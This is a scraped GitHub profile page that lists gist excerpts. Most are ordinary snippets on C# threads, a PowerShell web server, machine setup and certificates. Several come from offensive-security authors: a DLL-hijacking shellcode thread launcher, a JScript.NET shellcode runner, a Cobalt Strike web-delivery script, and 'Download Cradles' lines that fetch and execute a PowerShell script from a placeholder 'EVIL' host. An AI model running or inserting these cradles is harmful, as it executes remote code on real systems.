Skip to content

Instantly share code, notes, and snippets.

View RCStep's full-sized avatar

Ryan Stephenson RCStep

View GitHub Profile
@iraSenthil
iraSenthil / gist:930328
Created April 20, 2011 04:14
Different ways to create and run thread
//Method with no parameter - ThreadStart Delegate
Thread t = new Thread (new ThreadStart (TestMethod));
t.Start();
void TestMethod() {}
//Method with a parameter - ParameterizedThreadStart Delegate
Thread t = new Thread (new ThreadStart (TestMethod));
t.Start(5);
t.Start("test");
void TestMethod(Object o) {}
@19WAS85
19WAS85 / powershell-web-server.ps1
Last active November 4, 2024 16:50
A simple web server built with powershell.
# This is a super **SIMPLE** example of how to create a very basic powershell webserver
# 2019-05-18 UPDATE — Created by me and and evalued by @jakobii and the comunity.
# Http Server
$http = [System.Net.HttpListener]::new()
# Hostname and port to listen on
$http.Prefixes.Add("http://localhost:8080/")
# Start the Http Server
@jlucktay
jlucktay / boxstarter
Last active April 22, 2019 22:26
Boxstarter script for new machine
#
# Function definition, needed for a few installers that don't create their own desktop shortcuts.
# Puts the shortcut on the Public Desktop for everyone to use.
function Create-DesktopShortcut {
[CmdletBinding()] Param(
[Parameter(Mandatory=$True)] [string]$shortcutName,
[Parameter(Mandatory=$True)] [string]$targetPath
)
@securitytube
securitytube / DllMainThread.c
Created November 1, 2014 11:10
Launch Shellcode as a Thread via DllMain rather than a new process
// Dll Hijacking via Thread Creation
// Author - Vivek Ramachandran
// Learn Pentesting Online -- http://PentesterAcademy.com/topics and http://SecurityTube-Training.com
// Free Infosec Videos -- http://SecurityTube.net
#include <windows.h>
#define SHELLCODELEN 2048
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active July 3, 2025 02:01
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@fntlnz
fntlnz / self-signed-certificate-with-custom-ca.md
Last active June 30, 2025 12:55
Self Signed Certificate with Custom Root CA

Create Root CA (Done once)

Create Root Key

Attention: this is the key used to sign the certificate requests, anyone holding this can sign certificates on your behalf. So keep it in a safe place!

openssl genrsa -des3 -out rootCA.key 4096
@guillaumevincent
guillaumevincent / README.md
Last active December 9, 2024 14:37
Windows Service with Python 3.5 and pyinstaller
@Ridter
Ridter / shellcode.js
Last active October 11, 2024 08:44
Execute ShellCode Via Jscript.NET
import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js
@rsmudge
rsmudge / stagelessweb.cna
Last active April 15, 2021 11:49
A stageless variant of the PowerShell Web Delivery attack. This script demonstrates the new scripting APIs in Cobalt Strike 3.7 (generate stageless artifacts, host content on Cobalt Strike's web server, build dialogs, etc.)
# Scripted Web Delivery (Stageless)
#
# This script demonstrates some of the new APIs in Cobalt Strike 3.7.
# setup our stageless PowerShell Web Delivery attack
sub setup_attack {
local('%options $script $url $arch');
%options = $3;
# get the arch right.
@marcgeld
marcgeld / psCompress.ps1
Last active April 11, 2023 09:11
Powershell: Compress and decompress byte array
# Compress and decompress byte array
function Get-CompressedByteArray {
[CmdletBinding()]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[byte[]] $byteArray = $(Throw("-byteArray is required"))
)
Process {